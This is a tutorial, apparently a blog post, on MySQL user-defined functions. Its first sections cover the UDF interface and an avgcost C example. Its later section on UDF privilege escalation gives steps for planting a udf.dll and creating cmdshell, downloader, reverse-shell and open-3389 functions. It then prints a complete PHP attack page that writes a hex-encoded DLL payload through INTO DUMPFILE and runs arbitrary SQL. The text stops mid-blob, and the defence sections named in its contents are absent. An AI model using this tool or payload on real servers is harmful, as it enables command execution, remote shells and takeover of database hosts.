catalog
1. How to Add New Functions to MySQL 2. Features of the User-Defined Function Interface 3. User-Defined Function 4. UDF Argument Processing 5. UDF Return Values and Error Handling 6. UDF Compiling and Installing 7. Adding a New Native Function 8. UDF提權 9. UDF提權防護 10. Windows/Linux下UDF.so的目錄限制
1. How to Add New Functions to MySQL
There are three ways to add new functions to MySQL:
1. UDF You can add functions through the user-defined function (UDF) interface. User-defined functions are compiled as object files and then added to and removed from the server dynamically using the CREATE FUNCTION and DROP FUNCTION statements. 2. Native Function You can add functions as native (built-in) MySQL functions. Native functions are compiled into the mysqld server and become available on a permanent basis. 3. 存儲過程 Another way to add functions is by creating stored functions. These are written using SQL statements rather than by compiling object code.
0x1: UDF(User Define Function)和Native Function優缺點
1. If you write user-defined functions, you must install object files in addition to the server itself. If you compile your function into the server, you don't need to do that. 2. Native functions require you to modify a source distribution. UDFs do not. You can add UDFs to a binary MySQL distribution. No access to MySQL source is necessary. 3. If you upgrade your MySQL distribution, you can continue to use your previously installed UDFs, unless you upgrade to a newer version for which the UDF interface changes. For native functions, you must repeat your modifications each time you upgrade. //Whichever method you use to add new functions, they can be invoked in SQL statements just like native functions such as ABS() or SOUNDEX().
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/adding-functions.html
2. Features of the User-Defined Function Interface
The MySQL interface for user-defined functions provides the following features and capabilities:
1. Functions can return string, integer, or real values and can accept arguments of those same types. 2. You can define simple functions that operate on a single row at a time, or aggregate functions that operate on groups of rows. 3. Information is provided to functions that enables them to check the number, types, and names of the arguments passed to them. 4. You can tell MySQL to coerce arguments to a given type before passing them to a function. 5. You can indicate that a function returns NULL or that an error occurred.
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/udf-features.html
3. User-Defined Function
For the UDF mechanism to work, functions must be written in C or C++ and your operating system must support dynamic loading,A UDF contains code that becomes part of the running server, so when you write a UDF, you are bound by any and all constraints that apply to writing server code. For example, you may have problems if you attempt to use functions from the libstdc++ library. Note that these constraints may change in future versions of the server, so it is possible that server upgrades will require revisions to UDFs that were originally written for older servers.
0x1: xxx()
The main function. This is where the function result is computed. The correspondence between the SQL function data type and the return type of your C/C++ function is shown here.
0x2: xxx_init()
The initialization function for xxx(). If present, it can be used for the following purposes:
1. To check the number of arguments to XXX(). 2. To verify that the arguments are of a required type or, alternatively, to tell MySQL to coerce arguments to the required types when the main function is called. 3. To allocate any memory required by the main function. 4. To specify the maximum length of the result. 5. To specify (for REAL functions) the maximum number of decimal places in the result. 6. To specify whether the result can be NULL.
0x3: xxx_deinit()
The deinitialization function for xxx(). If present, it should deallocate any memory allocated by the initialization function.
When an SQL statement invokes XXX(), MySQL calls the initialization function xxx_init() to let it perform any required setup, such as argument checking or memory allocation. If xxx_init() returns an error, MySQL aborts the SQL statement with an error message and does not call the main or deinitialization functions. Otherwise, MySQL calls the main function xxx() once for each row. After all rows have been processed, MySQL calls the deinitialization function xxx_deinit() so that it can perform any required cleanup.
For aggregate functions that work like SUM(), you must also provide the following functions:
0x4: xxx_clear()
Reset the current aggregate value but do not insert the argument as the initial aggregate value for a new group.
0x5: xxx_add()
Add the argument to the current aggregate value.
/* ** Syntax for the new aggregate commands are: ** create aggregate function <function_name> returns {string|real|integer} ** soname <name_of_shared_library> ** ** Syntax for avgcost: avgcost( t.quantity, t.price ) ** with t.quantity=integer, t.price=double ** (this example is provided by Andreas F. Bobak <bobak@relog.ch>) */ struct avgcost_data { ulonglong count; longlong totalquantity; double totalprice; }; /* ** Average Cost Aggregate Function. */ my_bool avgcost_init( UDF_INIT* initid, UDF_ARGS* args, char* message ) { struct avgcost_data* data; if (args->arg_count != 2) { strcpy( message, "wrong number of arguments: AVGCOST() requires two arguments" ); return 1; } if ((args->arg_type[0] != INT_RESULT) || (args->arg_type[1] != REAL_RESULT) ) { strcpy( message, "wrong argument type: AVGCOST() requires an INT and a REAL" ); return 1; } /* ** force arguments to double. */ /*args->arg_type[0] = REAL_RESULT; args->arg_type[1] = REAL_RESULT;*/ initid->maybe_null = 0; /* The result may be null */ initid->decimals = 4; /* We want 4 decimals in the result */ initid->max_length = 20; /* 6 digits + . + 10 decimals */ if (!(data = new (std::nothrow) avgcost_data)) { my_stpcpy(message,"Couldn't allocate memory"); return 1; } data->totalquantity = 0; data->totalprice = 0.0; initid->ptr = (char*)data; return 0; } void avgcost_deinit( UDF_INIT* initid ) { void *void_ptr= initid->ptr; avgcost_data *data= static_cast<avgcost_data*>(void_ptr); delete data; } /* This is only for MySQL 4.0 compability */ void avgcost_reset(UDF_INIT* initid, UDF_ARGS* args, char* is_null, char* message) { avgcost_clear(initid, is_null, message); avgcost_add(initid, args, is_null, message); } /* This is needed to get things to work in MySQL 4.1.1 and above */ void avgcost_clear(UDF_INIT* initid, char* is_null __attribute__((unused)), char* message __attribute__((unused))) { struct avgcost_data* data = (struct avgcost_data*)initid->ptr; data->totalprice= 0.0; data->totalquantity= 0; data->count= 0; } void avgcost_add(UDF_INIT* initid, UDF_ARGS* args, char* is_null __attribute__((unused)), char* message __attribute__((unused))) { if (args->args[0] && args->args[1]) { struct avgcost_data* data = (struct avgcost_data*)initid->ptr; longlong quantity = *((longlong*)args->args[0]); longlong newquantity = data->totalquantity + quantity; double price = *((double*)args->args[1]); data->count++; if ( ((data->totalquantity >= 0) && (quantity < 0)) || ((data->totalquantity < 0) && (quantity > 0)) ) { /* ** passing from + to - or from - to + */ if ( ((quantity < 0) && (newquantity < 0)) || ((quantity > 0) && (newquantity > 0)) ) { data->totalprice = price * (double)newquantity; } /* ** sub q if totalq > 0 ** add q if totalq < 0 */ else { price = data->totalprice / (double)data->totalquantity; data->totalprice = price * (double)newquantity; } data->totalquantity = newquantity; } else { data->totalquantity += quantity; data->totalprice += price * (double)quantity; } if (data->totalquantity == 0) data->totalprice = 0.0; } } double avgcost( UDF_INIT* initid, UDF_ARGS* args __attribute__((unused)), char* is_null, char* error __attribute__((unused))) { struct avgcost_data* data = (struct avgcost_data*)initid->ptr; if (!data->count || !data->totalquantity) { *is_null = 1; return 0.0; } *is_null = 0; return data->totalprice/(double)data->totalquantity; }
0x6: UDFs Handle Flow
MySQL handles aggregate UDFs as follows:
1. Call xxx_init() to let the aggregate function allocate any memory it needs for storing results. 2. Sort the table according to the GROUP BY expression. 3. Call xxx_clear() for the first row in each new group. 4. Call xxx_add() for each row that belongs in the same group. 5. Call xxx() to get the result for the aggregate when the group changes or after the last row has been processed. 6. Repeat steps 3 to 5 until all rows has been processed 7. Call xxx_deinit() to let the UDF free any memory it has allocated.
All functions must be thread-safe. This includes not just the main function, but the initialization and deinitialization functions as well, and also the additional functions required by aggregate functions. A consequence of this requirement is that you are not permitted to allocate any global or static variables that change! If you need memory, you should allocate it in xxx_init() and free it in xxx_deinit().
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/adding-udf.html
4. UDF Argument Processing
UDF_ARGS是Mysql封裝參數的一個結構體,它的地位類似於apache中的request_rec
Mysql\include\mysql_com.h
typedef struct st_udf_args { /* Number of arguments The number of arguments. Check this value in the initialization function if you require your function to be called with a particular number of arguments. For example: if (args->arg_count != 2) { strcpy(message,"XXX() requires two arguments"); return 1; } */ unsigned int arg_count; /* Pointer to item_results A pointer to an array containing the types for each argument. The possible type values are 1. STRING_RESULT 2. INT_RESULT 3. REAL_RESULT 4. DECIMAL_RESULT To make sure that arguments are of a given type and return an error if they are not, check the arg_type array in the initialization function. For example: if (args->arg_type[0] != STRING_RESULT || args->arg_type[1] != INT_RESULT) { strcpy(message,"XXX() requires a string and an integer"); return 1; } */ enum Item_result *arg_type; /* Pointer to argument args->args communicates information to the initialization function about the general nature of the arguments passed to your function. 1. For a constant argument i, args->args[i] points to the argument value. A constant argument is an expression that uses only constants, such as 3 or 4*7-2 or SIN(3.14). 2. For a nonconstant argument, args->args[i] is 0. A nonconstant argument is an expression that refers to values that may change from row to row, such as column names or functions that are called with nonconstant arguments. For each invocation of the main function, args->args contains the actual arguments that are passed for the row currently being processed. 1. If argument i represents NULL, args->args[i] is a null pointer (0). 2. If the argument is not NULL, functions can refer to it as follows: 1) An argument of type STRING_RESULT is given as a string pointer plus a length, to enable handling of binary data or data of arbitrary length. The string contents are available as args->args[i] and the string length is args->lengths[i]. Do not assume that the string is null-terminated. 2) For an argument of type INT_RESULT, you must cast args->args[i] to a long long value: long long int_val; int_val = *((long long*) args->args[i]); 3) For an argument of type REAL_RESULT, you must cast args->args[i] to a double value: double real_val; real_val = *((double*) args->args[i]); 4) For an argument of type DECIMAL_RESULT, the value is passed as a string and should be handled like a STRING_RESULT value. 5) ROW_RESULT arguments are not implemented. */ char **args; /* Length of string arguments For the initialization function, the lengths array indicates the maximum string length for each argument. You should not change these. For each invocation of the main function, lengths contains the actual lengths of any string arguments that are passed for the row currently being processed. For arguments of types INT_RESULT or REAL_RESULT, lengths still contains the maximum length of the argument (as for the initialization function). */ unsigned long *lengths; /* Set to 1 for all maybe_null args For the initialization function, the maybe_null array indicates for each argument whether the argument value might be null (0 if no, 1 if yes). */ char *maybe_null; /* Pointer to attribute name args->attributes communicates information about the names of the UDF arguments. For argument i, the attribute name is available as a string in args->attributes[i] and the attribute length is args->attribute_lengths[i]. Do not assume that the string is null-terminated. By default, the name of a UDF argument is the text of the expression used to specify the argument. For UDFs, an argument may also have an optional [AS] alias_name clause, in which case the argument name is alias_name. The attributes value for each argument thus depends on whether an alias was given. Suppose that a UDF my_udf() is invoked as follows: SELECT my_udf(expr1, expr2 AS alias1, expr3 alias2); In this case, the attributes and attribute_lengths arrays will have these values: args->attributes[0] = "expr1" args->attribute_lengths[0] = 5 args->attributes[1] = "alias1" args->attribute_lengths[1] = 6 args->attributes[2] = "alias2" args->attribute_lengths[2] = 6 */ char **attributes; /* Length of attribute arguments The attribute_lengths array indicates the length of each argument name. */ unsigned long *attribute_lengths; void *extension; } UDF_ARGS;
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/udf-arguments.html
5. UDF Return Values and Error Handling
The initialization function should return 0 if no error occurred and 1 otherwise. If an error occurs, xxx_init() should store a null-terminated error message in the message parameter. The message is returned to the client. The message buffer is MYSQL_ERRMSG_SIZE characters long, but you should try to keep the message to less than 80 characters so that it fits the width of a standard terminal screen.
The return value of the main function xxx() is the function value, for long long and double functions. A string function should return a pointer to the result and set *length to the length (in bytes) of the return value. For example:
memcpy(result, "result string", 13); *length = 13;
To indicate a return value of NULL in the main function, set *is_null to 1:
*is_null = 1;
To indicate an error return in the main function, set *error to 1:
*error = 1;
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/udf-return-values.html
6. UDF Compiling and Installing
Files implementing UDFs must be compiled and installed on the host where the server runs. This process is described below for the example UDF file sql/udf_example.c that is included in the MySQL source distribution.
The udf_example.c file contains the following functions:
1. metaphon() returns a metaphon string of the string argument. This is something like a soundex string, but it is more tuned for English. 2. myfunc_double() returns the sum of the ASCII values of the characters in its arguments, divided by the sum of the length of its arguments. 3. myfunc_int() returns the sum of the length of its arguments. 4. sequence([const int]) returns a sequence starting from the given number or 1 if no number has been given. 5. lookup() returns the IP address for a host name. 6. reverse_lookup() returns the host name for an IP address. The function may be called either with a single string argument of the form 'xxx.xxx.xxx.xxx' or with four numbers. 7. avgcost() returns an average cost. This is an aggregate function.
A dynamically loadable file should be compiled as a sharable object file, using a command something like this:
gcc -shared -o udf_example.so udf_example.c
If you are using gcc with configure and libtool (which is how MySQL is configured), you should be able to create udf_example.so with a simpler command:
make udf_example.la
Relevant Link:
https://github.com/megastep/mysql-udf http://www.linuxidc.com/Linux/2011-06/37441.htm http://www.toadworld.com/platforms/mysql/w/wiki/6573.udf-compiling-the-c-program http://www.bccn.net/Article/sjk/mysql/jszl/200601/3371.html
7. Adding a New Native Function
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/adding-native-function.html
8. UDF提權
0x1: 通過FTP、WEBSHELL方式上傳UDF DLL文件
1. 獲取目標Mysql DB的帳號 /* root:111 */ 2. 上傳udf.dll文件: 事先編譯好udf.dll文件 1)[ ~ , mysql 5.0]: 對任何目錄可寫,無需考慮權限問題 2) 5.0, 5.1]: 必須將DLL導出到目標機器的系統目錄(C:\WINDOWS或C:\WINDOWS\system32),否則在下一步操作中你會看到"No paths allowed for shared library"錯誤(因為5.0之后不允許使用全路徑加載UDF) 3) [5.1, ~]: 不能導出到系統目錄,導出到需要使用 show variables like '%plugin%'; 語句查看插件安裝路徑。導出dll時指定此路徑,然后在下一步操作中就可以直接填文件名即可 //C:/wamp/bin/mysql/mysql5.5.20/lib/plugin/udf.dll 3. 導入udf.dll(對於MYSQL5.0以上版本,語句中的DLL不允許帶全路徑) /* create function cmdshell returns string soname 'udf.dll' 創建的函數需要和udf.dll中聲明的導出函數一致 */ 4. 正確創建功能函數后,你就可以用SQL語句來使用這些功能了 /* select cmdshell("net user"); 功能函數說明 1. cmdshell: 執行cmd 2. downloader: 下載者,到網上下載指定文件並保存到指定目錄 3. open3389: 通用開3389終端服務,可指定端口(不改端口無需重啟) 4. backshell: 反彈Shell 5. ProcessView: 枚舉系統進程 6. KillProcess: 終止指定進程 7. regread: 讀注冊表 8. regwrite: 寫注冊表 9. shut: 關機、注銷、重啟 10. about: 說明與幫助函數 */ 5. 使用完成后你可能需要刪除在第二步中導出的DLL,但在刪除DLL前請先刪除你在第三步中創建的函數,否則刪除操作將失敗 //select * from mysql.func; //drop function cmdshell
0x2: 通過注入點、二進制編碼方式上傳UDF DLL文件
也可以通過將udf.dll進行編碼后,通過HTTP傳輸
<?php error_reporting(7); ob_start(); session_start(); ?> <html> <head> <title>linux安全網專用udf提權大馬</title> </head> <body> <?php if(!empty($_GET['action']) && $_GET['action']=='help') mysql_help(); //-----------------------------------------------------------------------------------起始輸入 if(empty($_GET['action'])) { ?> <form action="?action=connect" method=POST> <table> <tr><td>host:</td><td><input type="text" name="host" size="30"></td></tr> <tr><td>mysql賬號:</td><td><input type="text" name="username" size="30"></td></tr> <tr><td>密碼:</td><td><input type="text" name="password" size="30"></td></tr> <tr><td>數據庫名:</td><td><input type="text" name="dbname" size="30"></td></tr> <tr><td> </td><td><input type="submit" name="submit" value="提交"> <input type="reset" name="reset" value="重填"></td></tr> </form> <?php exit; } if(!empty($_GET['action']))//連接mysql { if(!empty($_POST['host'])) $_SESSION['host']=$_POST['host']; if(!empty($_POST['username'])) $_SESSION['username']=$_POST['username']; if(!empty($_POST['password'])) $_SESSION['password']=$_POST['password']; if(!empty($_POST['dbname'])) $_SESSION['dbname']=$_POST['dbname']; $dbconn=@mysql_connect($_SESSION['host'],$_SESSION['username'],$_SESSION['password']); if(!$dbconn) { $_SESSION['host']=$_SESSION['username']=$_SESSION['password']=$_SESSION['dbname']=''; die('數據庫連結失敗,請檢查賬號信息。'. mysql_error().' <a href="javascript:history.back()">返回重填</a>' ); } else echo 'MYSQL連結成功<br><br>'; //選擇數據庫 @mysql_select_db($_SESSION['dbname']); $err = mysql_error(); if($err) { echo '切換數據庫出錯,請檢查數據庫'.$_SESSION['dbname'].'是否存在。'.$err.' <a href="javascript:history.back()">返回重填</a>'; $_SESSION['dbname']=''; mysql_close($dbconn); exit; } } //-----------------------------------------------------------------------------------------導出DLL if(!empty($_POST['dllpath']) ) $path=stripslashes($_POST['dllpath']); if($path=='') $path=$_SESSION['dllpath']; if($path=='') $path="C:\\Winnt\\udf.dll"; echo '<form action="?action=buildDLL&" method=POST>'; echo 'DLL導出路徑:<font color="#FF0000">注意:</font>MYSQL 5.0以上版本請使用系統目錄!<br><input type="text" name="dllpath" size="40" value="'. $path.'"> <input type="submit" name="submit" value="導出到此目錄">'; echo '</form>'; if(!empty($_GET['action'])&&$_GET['action']=='buildDLL') { $_SESSION['dllpath']=$path; if(strpos($_SESSION['dllpath'],'.')==false) if(strrpos($_SESSION['dllpath'],'\\')==false || strrpos($_SESSION['dllpath'],'\\')!=strlen($_SESSION['dllpath'])-1) $_SESSION['dllpath']= $_SESSION['dllpath'].'\\udf.dll'; else $_SESSION['dllpath']=$_SESSION['dllpath'].'udf.dll'; $query="CREATE TABLE Temp_Tab (udf BLOB);"; if(!mysql_query($query, $dbconn)) echo '錯誤:創建臨時表Temp_Tab出錯。'.mysql_error(); else { $shellcode=shellini(); $query="INSERT into Temp_Tab values (CONVERT($shellcode,CHAR));"; if(!mysql_query($query, $dbconn)) echo '錯誤:插入DLL數據出錯。'.mysql_error(); else { $temp=str_replace("\\\\","\\",$_SESSION['dllpath']); $temp=str_replace("\\","\\\\",$temp); $query="SELECT udf FROM Temp_Tab INTO DUMPFILE '".$temp."';" ; //echo $query; if(!mysql_query($query, $dbconn)) echo '導出DLL文件出錯:'.mysql_error(); else { echo 'DLL已成功的導出到'.$_SESSION['dllpath'].'<br>'; } } mysql_query('DROP TABLE Temp_Tab;', $dbconn); $query=''; } } echo '<hr><br>'; //-----------------------------------------------------------------------------------------執行SQL語句 if(!empty($_POST['query'])) $query=stripslashes($_POST['query']); echo '<form action="?action=SQL&" method=POST>'; echo 'SQL命令:<br><input type="text" name="query" size="60" value="'. $query .'"> <input type="submit" value="執行">'; echo '</form>'; $query=str_replace("\\\\","\\",$query); $query=str_replace("\\","\\\\",$query); if($query!='' && $_GET['action']=='SQL') { $result = mysql_query($query, $dbconn); $err = mysql_error(); if($err) { echo '數據庫查訊出錯,請檢查SQL語句'.$query.'的語法是否正確。'.mysql_error(); } else { echo '回顯結果:<br>'; echo '<textarea cols="122" rows="22" wrap="soft">'; if(strtolower(substr($query,0,6))=='select')//檢驗是不是查訊語句 { for($i=0;$i<mysql_num_fields($result);$i++) echo mysql_field_name($result,$i)."\t"; echo "\r\n\r\n"; while($row = mysql_fetch_array($result)) { for($i=0;$i<mysql_num_fields($result);$i++) { echo htmlspecialchars($row[$i])."\t"; } echo "\r\n"; } } else echo " 執行成功\r\n"; echo '-----------------------------------'; echo '</textarea>'; } } mysql_close($dbconn); //-----------------------------------------------------------------------------------------底部信息 ?> <br><br><hr> <center> <font color="#886688" size="3">©Langouster</font> <a href="?action=help" target="_blank"><font color="#FF0000">help</font></a> <a href="mailto:langouster@163.com">feedback</a> </center> </body> </html> <? function shellini() { //$langouster_udf.dll code by langouster return "0x4d5a4b45524e454c33322e444c4c00004c6f61644c696272617279410000000047657450726f63416464726573730000557061636b42794477696e6740000000504500004c010200000000000000000000000000e0000e210b0100360090000000100100000000003d9502000010000000a00000000000100010000000020000040000000000000004000000000000000010030000020000000000000200000000001000001000000000100000100000000000001000000009980200dd020000f19702001400000000c001009000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e557061636b000000b00100001000000000000000000000000000000000000000000000600000e02e727372630000000050010000c00100e6da000000020000000000000000000000000000600000e088010010e89a02101b0000000e000000001000106b970210b7970210ba970210c8970210a3970210fc0f0010de960210e0960210809502101dba0110ed970210ffaf0110d2960210000400007c070000c40b0000b30200006604000090c0011000000000ffffffff01000000010000000100000001000000000000000000000000000000010000008800008018000080000000000000000000000000000002006500000038000080660000006000008000000000000000000000000000000100040800005000000090000100004400000000000000000000000000000000000000000000000001000408000078000000904401005c3c000000000000000000000300420049004e00459398edb4853493541907b2de1fcbd640cd0773df2017d5f39748433f6d90c556f2b1c13f1be3bcb417f756a33186e453b17faf31e8157911b03da9aaf41f2277afffec07571bfae8214b0ff18af2f7c0ad2d95a1ff0f487658e587923bc1ce9d2c2698c74b940c5842bf55c7da2026563c174c45c6c5e08e95b030390ef0886bd124043aed5b1631b138955065fa05fbfcc1c0b81636c51c7f18bccc846ac8305f5c5134fd92a3e9cb2bb5d99ee1e21a6f5d2929597c59b61e8925c1675138746f1f549d1b8a0c35b7dab30b46a401737162d316fb50723e8a98ca5d6d298259015fe6e1c0a402790e15a965807b488c73e6915ffd6e57d333c0d86ef3a562e0bf0bccbe4bc7ccb560bc2df75d593904f638eae6a964c33f4e123a1d3c213b184373bf34c66ed68b368316156e32f6fa63e02add3b03893f73af8abd1099c48c1d0c886314167008ef255d5c2c3539fb781d6d39aa432d654c702f15df0a339530889adfefde4b9df29d2e8fa7e4317fda1b0588a22265eb53c317bc6ea94fa1981968d5a60921ff60f9e9559123aeaa8d1e91e38fb1a2fb1d2075454e8ef226538ed8307db2c99cd396b5c6da829569c3875f317a4bff429b0528d204af4284fc05207901d48e52b386e5d44c69a2e8e3086f137f1d0694ecd619ecc97af83a97d5a0598701b386bd704864c72b3858824fc94082da933d5fadb23ef3dee6528cd4cb2eefe2f2b03d17857940d70222d541b2523f4e7d5b8ee46caba89830d664defb08f798e83818cde2701b8c5d37fc6c5c045ae468efca8b8d5b62b60811c21dae6b86deffa3824e7581435c0bc67555c2d498047554b52d0bfc909911e94ce5d6d3a72659b0ee25f2b40be7d239115256d8c2687afc7e075a2557f974d9130d76e09955235ed4afbc03891d8cc489c8a6f0aa00cfa41ceffd29df70edd17679477c4edd29023c807a55e8dfe614fefe44ad759cfca628d9da21b68e2d6a7ab33d62b175fb858c94158923278f256e96eff885e3eafa12b09ecabfa54d523a3c33270510fd821a0f56e24d3bfaa815a6bd4e2eba52e52a940037728e2cbcd8278fe714384a4bfc887797b071bb440b010a9d0db60cbacee05907b7b08e20dba7f45ffd21265bc47086f8275c1c5071afaeb7ce0336e0a5facf0a7923597c7f4ee7b54512b38608c8ce06acd05cfcdd68ec58f288889ef615623409bc88dd3b09b8be22fcc199755426b4b0704ec21ae1a3e7efe21cf6952456f3743d8d76e1d02e7f7815ea30feb20f279fa9cf827d7618c1c182be35a5ab2eb9f611057b493eff526a75513347a1dce859f1d8d5cc9e842f55f82211b2fa26ce53c5f133afd31531c50324a5429b74fab0746eed031acb0d02344e1b495bca244ae6eba4dcd3da28419a064c22e895880fd2485c3e6861b6e06a4e43959b9d0633774ea85692b12408f6867903f8b9bf790973680440d4822238690617af451d0eebf942d4c98637e9ba092b38dcdc608f330722cc255a4feb5d2a3cb268518ebf43231d9630ac95ae22ff0b8640335febcaf6a3066be83f03673636639e7cb025963d4071886ef072bf9f6f5ad0e0a407734b77320cb1fc6a6a07d14d36403ac1b849eba998b5f64d59ecfa4e30200d84d236a12b1b11acae3e4d74ca5368657f93b4d80cc5356c5537ffab7d3f792a03912a01d94c03f4f097824586708ecc7cbd1db4b7e24a0f2e45121629b9c2bc92716b790246c4a4159fd9e4958fc13a4a72c1d799078d601f3eba6457ae19a68877841d343175f3b692ec219c3a059931421596335af3121670ef9602fce94de822922d7f1c357f7719b2a63de4a0c9b648297326b5a32082462e6bd83457f5c415a418209b4deecbb66f26383d9244f08e0aee60659808dbd2a4744865f6b6a0950ed88138a0c6496245c84d60caabef5facc467f114dd3b695e39fb076887147be54b8ff924aad0e159f4da839d7b67ea764b3e5906ad36bc3c476584bb38b7f009cedab0e6d89bb9ec76e3228e559b69c763bcbe2804dfbc4c6eba24173214dd72f455eaf170e5afc8b7a1ffac801dcd05a53aaef649f67f1d11cf249cdcf2e33a7d93e872d323a836a78be609996b592f3bb5fd8f6b952fd09d66647dcc055aa681b8af88597d510daae5255d2318b9b5e116b83b06c8a644010d677c683684abd9b677ac444ec7163218e4708336b0d12bbb660fe9bc21e49d2efc76d74e26c71d6c945267fd7d664fe5385abc834f661fe715b0924e9c63f5f6c88cb0ee11b44393a9113f6c17d56bd982a00cd4811653669c3a1b9535260742017659cf380fbf76ae37b92863bc94923f3990658db72c9c64bc29d4c2c03ec0c1c74e3558f66092c1d78d710d52a2c96cc6cad8729d9385016b36c9d231986cb60e8cfeb37aacf1205b9cbad985834c8b4b9d435e17dbc94967b5eb3e32e2a0423744951b1a087d85a822663de7a3f9c2253f7366d02e161b9b3a18fdee2946d741d3f2a5b0d0f3217e54d9cc97c8a62abca1b114240cce3576a7131069751af5a280721df185caace01a618f57cd8dc52e03a85048adb2d6f31d9d136817602ee2c38f694e6cb9eb2e830abf46b8a2f4ecf4fbd190e357d774e1dbe9de09650ea97486d41bb406c36d07dfa66c8347720158494c21ef841d6219aa0d3c8dd1cd33c3734e49ee574928bb0b1b28f86f0eced7c8fc50e93868455d6419ed7bffe464315490de54ab89437cd6f9f2e71fd59e4c5863ec3f83e4760edc9bc51a9c55a4b253c7966eb110259221449c131b3b328630ea1da1d8553d05fe6830902950a48d623396edd5280a1bbb165d1eab1a77f157d1b7870c4411850752bab0b6fb688d268901c2d8e456e3ee0614d1dd30a138f33661268fd83eb720f5953c280949f7760372ddfbcfd9fa54ced88fe574da013246aeea3bd41b72c6dbf603adcc21e5b7de44345d2a972ec002761a886b55579b8ff13286f668504c3290d15dbef81b1e96ad946a6466b7128d0ac11fb7fad4fe60b6c70e687c5665827a1ded9326f329c3dacb0dbd25ac1adcdc3eccab7d97db8c55b96afd5504bde724ca1489ef6108b25da9555f78111a6a04c30ae62961ade9cb8c02be27ba9984c0104ab80376719a08047d821b0bf60e1a29a6d7d377760b053ae91bf8057156e5b593a7dc8058f05e2da4ca217cf5be8881e00fa9d1f7a618820a0f0b2ba6175dbca0b6f035bc24ebe83198b5a90ebde91e8954581da67159639f40f37210a1bd8bf14dc987fd37b1a5fe69bda234e6d7f70d9ca0531039f19fd054904eea5b7a52ec468e5345437d0737b1495dc7249ea4cfa6f48c2e3e6158d5f0f1efd1bafb4d7fe0b0dce7ad98e8d3f57bb708a8aea83a0eea3ddc00394dfcdfafd308b6b24fa20c7625d2fcd6a5fae7d273ec98eea794bfe979dc3123ffc32c197bdca6321b57785908e6d19ab6f536a8df7e1e05baded7a4ebc007766c508a13394f51803beea47fac0ed97c25ed9888ddc6dc6219e704c6a132cd04cff7447b2df742108d0272366b11b2c4767464b460251de4ce3ce6d193589d14aec9b97766a6883e4dbf1dca0edf32f8980ebf2f9c935dcc56fa6e0b29798ea458e6edc0af271e6814fa425548e41fc8f641b8ad487a20812e4eb25063746b3d4244b101031580a0119d649ca5f32a68b11e7d5741a5ad7682fa8fafbe5aff113269b9a47923f81d3a028615f8c6e7b38e78e443cb2a49d91c2a7757a99df35aaa71dfd21e0b5591af970e6d2f239ff7e2d76acd9967ad6fc30d460d552f1930461e9b86a92d358618fa3b539029603a3260fc65d57a5909e35777a633d9093911fc636bfe3745a7510cb4633092223f5315f6745a604ac0365abae8968b19677f840b1502e21b638ceffd5075b3d3688eab91379dfeed65beaa5f7ca5b971dbc53c6c000b259dea5d6fd84b2e12090331a45299d807d3c12545f84710d36168ca4f277c8fa3982806faef71d73860b58f8db7a3116af13418100c8e905651b538b5c1853fb194c574a918b8f0426152253ff3db5af8289080fe0d7bf2b9d907c54eb2604d8f4e3865d8c7e8659acd1928182206c0efad42664b6ef473f74d7a8d681273590a487f250c143bd18253c3df904b620f4203757b029d8b41bfbcb9ace3d5e7673386dab5e3e486a3f49bbf89f5a4c67e0c1067c0adf6bbdfa43cd6289c1e45e46fc4f236a708684f9461787a90f6fd9a1f55690bbb3ddfcb94d960c39f58110acd1a4538b6ae85b06e4024610575bc3069a2b90b07e01096854e1e8bd00260bd495f975c8543030031c6fbcd201bf384f27f72af8c9ce354ef66a27fbc04dc0bb34f7a67518575d78bcac95243f1743b0f843f7806d1b6278766e05e90694a328230b378516ece63e46180a0c2d3972674fa8de29c864198e66173bea93f54995bfaa4b1e8638ba111187e26161d23ddbaff9a1dde6c8601b6c1c5e0658a153685de38e7a92a39d34587d67d10da2d7a01e70ac5488b16d0002229154101f0d5f6afd6636f7e376a3d5842861f8c5642b81676a5a3dc14de9bfe1e3011cb9e4cdd6a1afa87e84f86ee792a090f48f9540a23eb0928cf8d9f52a44acba76c827494bb6ef8971f1690d441f0ba8322b5cb15ee105e95ab47f560ecef4d5046c75ded3523549b3a2a0c878906af9ef17bddb57d82a437932d9b6802cf178e34f9c4764054f01902258e7d2317b9a98e78bc273e406d6fd2d33c4270cfd4596fedec01c4f9e6216f73a71e930b208d247dceee69f0d1f55a179c70b69f71c0e8a8b4cfdd89cdb1908d6d96b33d98a26456f79f26c744f9f7508983324cc354c1f20f89480c8c506fa04f59cb8ae99f8bf4ae9ba8b06f6aa052b695aa5da8143eefda5b3a4d65b0333f944861d2d53503236151731f4b262d66597865ffebc3474f3566b56f4ba520e9fd933c304ef9ca43bd6336e9b82e0e76724c1820aa1bc231ae694cf759938c29c210cb676885a65b4ae212f4382788458ea9a136bfc9bfed6f159e0844c4db54a3bac68d95cc91623f7e1476f8f736c131097daf671157f18d67116a2d273fa9e53375955bb7bb6ecb3518e7f05dd9248a1e26607708ab2a67904c44325fbe219e04512da82e93d466fa33a7d00d70d1cd45d650f3bf001bd7a2d0ae1c545fb75fb6af69bbde85e358e272b26dd2ea189db0a41c1131ec3882d5b72e3a643e02527909758ba4bd542746b60d822b35884b828a12b683aa4abd4861f7a249bbc0dbc12559e88c2bce5bf5aa35c0b17c69794abbc5765e7eabca36ebfb7318998f974d42f3df2564e29abe38e7671d25702051346b86fa36f6b71dae27e7506e5a5a790658646ab672bb825857890107e837992ab33ad751963c155d5d85dbca61092accb9e38c4589db3487082068f2dfc818fe05f8ce8a18dfc6716e0466e87d79ad6bf1353b0a34be96416d0f44c44a9563fdbc2c093875a385ecfdc6e11a488964690333669e8dc714957e0e1b3ce29c2309bd17ccc74520cda658381385821f44137a3486a682fcefc2e111d8304264538a64e8acb6e791960342463f970c4d250e154f28b66a5a7011bf7942c04e053804c100e79a1cbc4278f689ab9a3bd4669928bcad4c165644b53695fc7910a2129a872e548de830ef3b7ee255e7b6480f06f9fd895e84e5b5e038ffc0389317e95a79dbe8c95c8b8bcaef5a524abd85da966e905d2db3946d56eee8f5006ce54eea02c035af841bdcf95509422fc24329e6a03bf6eafbefe5b6ffe19f45a63ceb73ef8bcb0ea9e3030d27c3d6a8ddd88b041dc47fb229431498262a8887785dd8657c055229dad916a71360aa931bd7e158b6c17e3a2d8